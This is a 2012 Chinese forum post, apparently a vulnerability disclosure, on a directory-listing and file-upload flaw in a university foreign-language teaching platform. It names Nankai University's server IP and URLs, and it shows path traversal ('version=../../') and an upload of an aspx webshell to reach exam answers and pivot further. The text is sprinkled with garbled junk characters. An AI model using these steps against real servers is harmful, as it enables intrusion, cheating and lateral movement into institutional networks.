找回密码
 立即注册
查看: 2546|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中3 |+ Y1 c$ ~6 L

8 R: }6 L+ d6 I9 T详细说明:1 ?2 I9 [8 P8 s
0 q, Q: Y/ n1 e. F
以南开大学的为例:
$ k0 ]6 V; S7 {9 Shttp://222.30.60.3/NPELS
; c4 y8 F) f7 u1 hNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址" G" f% `/ q) e9 s/ h+ i- P
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
" r/ S6 a7 U* m* p& r. J8 d5 G<value>http://222.30.60.3/NPELS/CommonService.asmx</value>: }& D' o8 R4 ~4 @; l8 _0 U/ F8 V$ C' {
</setting>
' _( e+ D( d) G' P及版本号1 H: ?0 ?; O) b( f5 Z
<add key="TVersion" value="1, 0, 0, 2187">4 N" U  l; F. d, K0 g) i
</add>5 p8 W! X6 [+ D  T( K
直接访问) }" U( Q, B  Z( {2 X4 b
http://222.30.60.3/NPELS/CommonService.asmx
) I# S4 ]/ o8 e. q  O7 r使用GetTestClientFileList操作,直接 HTTP GET 列目录:0 \$ D4 [$ N2 |* R  w
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
* N! i/ M3 A7 a9 p进一步列目录(返回的网页很大,可以直接 wget 下来)7 X, T/ x/ R7 F) e0 \  g" x: q8 Z
http://222.30.60.3/NPELS/CommonS ... List?version=../../
0 g6 n% X% B/ v - c$ ]1 @( i+ G+ h8 I/ S' D
发现
. Z/ N7 b  b3 qhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
( x# z4 m7 Q* y% u/ x可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
: B5 Q7 `2 U# y  g4 [上传后继续列目录找到木马地址直接访问即可' w1 e( T# y- V

+ |. K8 c3 g# {% R( k- @, {OOXX6 M( R, r, p; `2 V
1 H6 T. X2 j4 J' n! J
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法5 g% h. x" @+ Z3 u; Q
漏洞证明:
7 }4 T2 g0 X8 }8 \- l , R+ y# A0 _* B4 d3 n* S1 r
列目录:
  m$ [) _. j6 J& Vhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
6 J2 O6 h/ x& ]% h7 W" q文件上传:4 d, B3 s0 U" S0 y4 r
http://222.30.60.3/npelsv/editor/editor.htm* J/ i+ ?0 u  w' f
* n, e. @, t  Q
上传木马:
  S6 P6 q+ x+ L8 X" [9 B  Qhttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
. v3 G& n0 m7 i# j
# A, t) G9 O) x修复方案:
, {5 p* i. @' S; b好像考试系统必须使用 CommonService.asmx
" h9 [+ ]& a0 ]; w- {7 @最好配置文件加密或者用别的方式不让它泄露出来% l# l: b# r# g4 o8 h) x3 A- X
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​
7 x( ~; D0 c: K0 t0 B$ F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表